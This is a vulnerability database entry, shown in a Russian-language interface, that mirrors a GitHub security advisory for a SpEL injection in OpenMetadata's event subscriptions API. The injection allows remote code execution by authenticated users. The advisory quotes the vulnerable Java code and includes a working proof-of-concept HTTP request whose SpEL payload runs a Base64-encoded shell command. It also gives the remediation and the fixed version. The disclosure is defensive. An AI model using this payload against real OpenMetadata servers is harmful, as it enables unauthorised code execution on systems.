Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-8p5r-6mvv-2435

Опубликовано: 24 апр. 2024
Источник: github
Github: Прошло ревью
CVSS3: 8.8

Описание

OpenMetadata vulnerable to a SpEL Injection in PUT /api/v1/events/subscriptions (GHSL-2023-251)

SpEL Injection in PUT /api/v1/events/subscriptions (GHSL-2023-251)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.

@Override public void prepare(EventSubscription entity, boolean update) { validateFilterRules(entity); } private void validateFilterRules(EventSubscription entity) { // Resolve JSON blobs into Rule object and perform schema based validation if (entity.getFilteringRules() != null) { List<EventFilterRule> rules = entity.getFilteringRules().getRules(); // Validate all the expressions in the rule for (EventFilterRule rule : rules) { AlertUtil.validateExpression(rule.getCondition(), Boolean.class); } rules.sort(Comparator.comparing(EventFilterRule::getName)); } }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) { repository.prepareInternal(entity, true); // If entity does not exist, this is a create operation, else update operation ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName()); MetadataOperation operation = createOrUpdateOperation(resourceContext); OperationContext operationContext = new OperationContext(entityType, operation); if (operation == CREATE) { CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity); authorizer.authorize(securityContext, operationContext, createResourceContext); entity = addHref(uriInfo, repository.create(uriInfo, entity)); return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse(); } authorizer.authorize(securityContext, operationContext, resourceContext); PutResponse<T> response = repository.createOrUpdate(uriInfo, entity); addHref(uriInfo, response.getEntity()); return response.toResponse(); }

Note that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():

@PUT @Operation( operationId = "createOrUpdateEventSubscription", summary = "Updated an existing or create a new Event Subscription", description = "Updated an existing or create a new Event Subscription", responses = { @ApiResponse( responseCode = "200", description = "create Event Subscription", content = @Content( mediaType = "application/json", schema = @Schema(implementation = CreateEventSubscription.class))), @ApiResponse(responseCode = "400", description = "Bad request") }) public Response createOrUpdateEventSubscription( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) { // Only one Creation is allowed for Data Insight if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) { try { repository.getByName(null, create.getName(), repository.getFields("id")); } catch (EntityNotFoundException ex) { if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) { throw new BadRequestException("Data Insight Report Alert already exists."); } } } EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName()); Response response = createOrUpdate(uriInfo, securityContext, eventSub); repository.updateEventSubscription((EventSubscription) response.getEntity()); return response; }

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
    • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Send the payload using a valid JWT token:
PUT /api/v1/events/subscriptions HTTP/1.1 Host: localhost:8585 Authorization: Bearer <non-admin JWT> accept: application/json Connection: close Content-Type: application/json Content-Length: 353 { "name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[ {"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true }
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Пакеты

Наименование

org.open-metadata:openmetadata-service

maven
Затронутые версииВерсия исправления

< 1.2.4

1.2.4

EPSS

Процентиль: 95%
0.19291
Средний

8.8 High

CVSS3

Дефекты

CWE-94

Связанные уязвимости

CVSS3: 8.8
nvd
почти 2 года назад

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. Similarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from `EventSubscriptionRepository.prepare()`, which can lead to Remote Code Execution. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by `EventSubscriptionResource.createOrUpdateEventSubscription()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query. This issue may lead to Remote Code

CVSS3: 8.8
fstec
почти 2 года назад

Уязвимость метода ‎AlertUtil::validateExpression (/api/v1/events/subscriptions) платформы для управления метаданными OpenMetadata, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 95%
0.19291
Средний

8.8 High

CVSS3

Дефекты

CWE-94